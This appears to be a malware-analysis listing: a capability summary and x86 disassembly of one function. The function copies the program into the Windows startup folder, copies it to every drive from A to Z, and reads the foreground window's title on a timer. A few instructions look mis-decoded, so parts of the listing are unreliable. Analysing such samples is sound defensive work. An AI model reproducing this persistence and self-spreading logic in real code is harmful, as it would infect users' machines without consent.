Function at 0x411294
Capabilities:
Copy file
Get common file path
Get disk information
Get graphical window text
Get startup folder
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
mov ecx, 9
push 0
push 0
dec ecx
jne 0x41129c
push ebx
push esi
push edi
mov eax, 0x410134
call fcn.0040589c
mov edi, 0x416560
mov ebx, 0x4162fc
xor eax, eax
push ebp
push 0x4115df
push dword fs:[eax]
mov dword fs:[eax], esp
push 1
call sub.kernel32.dll_SetErrorMode
push 0x41655c
push 7
push 0
call sub.shell32.dll_SHGetSpecialFolderLocation
mov eax, 0x41645c
xor ecx, ecx
mov edx, 0x100
call fcn.0040307c
push 0x41645c
mov eax, dword [0x41655c]
push eax
call sub.shell32.dll_SHGetPathFromIDListA
push 0
lea eax, [ebp - 0x14]
mov edx, 0x41645c
mov ecx, 0x100
call fcn.00404468
lea eax, [ebp - 0x14]
mov edx, 0x4115f8
call fcn.004044a0
mov eax, dword [ebp - 0x14]
call fcn.004045e4
push eax
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.00402f3c
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x18]
call fcn.00407154
lea eax, [ebp - 0x18]
mov edx, 0x41160c
call fcn.004044a0
mov eax, dword [ebp - 0x18]
call fcn.004045e4
push eax
call sub.kernel32.dll_CopyFileA
lea edx, [ebp - 0x24]
xor eax, eax
call fcn.00402f3c
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
call fcn.00407154
mov eax, dword [ebp - 0x20]
push eax
lea eax, [ebp - 0x28]
mov edx, 0x41645c
mov ecx, 0x100
call fcn.00404468
mov eax, dword [ebp - 0x28]
pop edx
call fcn.00404630
test eax, eax
jne 0x4113c5
push 1
push 0
in al, dx
sbb byte [ebx - 0x75], dl
pop ebp
or al, 0x56
mov esi, dword [ebx + 8]
xor esi, dword [0x40e040]
push edi
mov eax, dword [esi]
mov byte [ebp - 1], 0
mov dword [ebp - 0xc], 1
lea edi, [ebx + 0x10]
cmp eax, 0xfffffffe
je 0x411424
add al, ch
or byte [eax - 1], cl
invalid
mov dword [ebx], 0x30
mov dword [ebx + 8], 0x40ffd0
push 0x7f89
push 0
call sub.user32.dll_LoadCursorA
mov dword [ebx + 0x1c], eax
push 4
call sub.gdi32.dll_GetStockObject
mov dword [ebx + 0x20], eax
mov eax, 0x411620
mov dword [ebx + 0x28], eax
push ebx
call sub.user32.dll_RegisterClassExA
push 0x80000000
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [0x4157f0]
push eax
push 0
mov edx, 0x411620
xor ecx, ecx
mov eax, 0x8080088
call fcn.00405b2c
mov dword [0x41632c], eax
push 2
sub al, 0x63
inc ecx
add byte [edx + 2], ch
mov cl, 1
xor edx, edx
mov eax, dword [0x41632c]
call fcn.00405a50
push 0
push 0x3e8
push 1
mov eax, dword [0x41632c]
push eax
call sub.user32.dll_SetTimer
jmp 0x4115a0
push 0x416330
call sub.user32.dll_TranslateMessage
push 0x416330
call sub.user32.dll_DispatchMessageA
push 0xff
push 0x41634c
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_GetWindowTextA
mov dword [edi], 1
mov esi, 0x412ab4
lea eax, [ebp - 0x38]
mov edx, 0x41634c
mov ecx, 0x100
call fcn.00404468
mov eax, dword [ebp - 0x38]
lea edx, [ebp - 0x34]
call fcn.00406c74
mov edx, dword [ebp - 0x34]
mov eax, dword [esi]
call fcn.00404630
test eax, eax
je 0x4114ee
push 0x41644c
call sub.user32.dll_GetForegroundWindow
push eax
call sub.user32.dll_GetWindowRect
push 0x40
push 0x5a
push 0x1ea
mov eax, dword [0x416450]
add eax, 0x12c
push eax
mov eax, dword [0x41644c]
add eax, 0x96
push eax
push 0
mov eax, dword [0x41632c]
push eax
call sub.user32.dll_SetWindowPos
jmp 0x411518
cmp dword [edi], 0x28
jne 0x41150a
push 0x10
push 0
push 0
push 0
push 0
push 0
mov eax, dword [0x41632c]
push eax
call sub.user32.dll_SetWindowPos
inc dword [edi]
add esi, 4
cmp dword [edi], 0x29
jne 0x411485
mov bl, 0x41
lea eax, [ebp - 0x3c]
mov edx, ebx
call fcn.004043e0
lea eax, [ebp - 0x3c]
mov edx, 0x411634
call fcn.004044a0
mov eax, dword [ebp - 0x3c]
call fcn.004045e4
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 1
je 0x411596
push 0
lea eax, [ebp - 0x40]
mov edx, ebx
call fcn.004043e0
lea eax, [ebp - 0x40]
mov edx, 0x411640
call fcn.004044a0
mov eax, dword [ebp - 0x40]
call fcn.004045e4
push eax
lea edx, [ebp - 0x48]
xor eax, eax
call fcn.00402f3c
mov eax, dword [ebp - 0x48]
lea edx, [ebp - 0x44]
call fcn.00407154
lea eax, [ebp - 0x44]
mov edx, 0x41160c
call fcn.004044a0
mov eax, dword [ebp - 0x44]
call fcn.004045e4
push eax
call sub.kernel32.dll_CopyFileA
inc ebx
cmp bl, 0x5b
jne 0x41151a
push 0
push 0
push 0
push 0x416330
call sub.user32.dll_GetMessageA
test eax, eax
jne 0x411451
jmp 0x4115c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4115e6
lea eax, [ebp - 0x48]
mov edx, 0xe
call fcn.0040421c
ret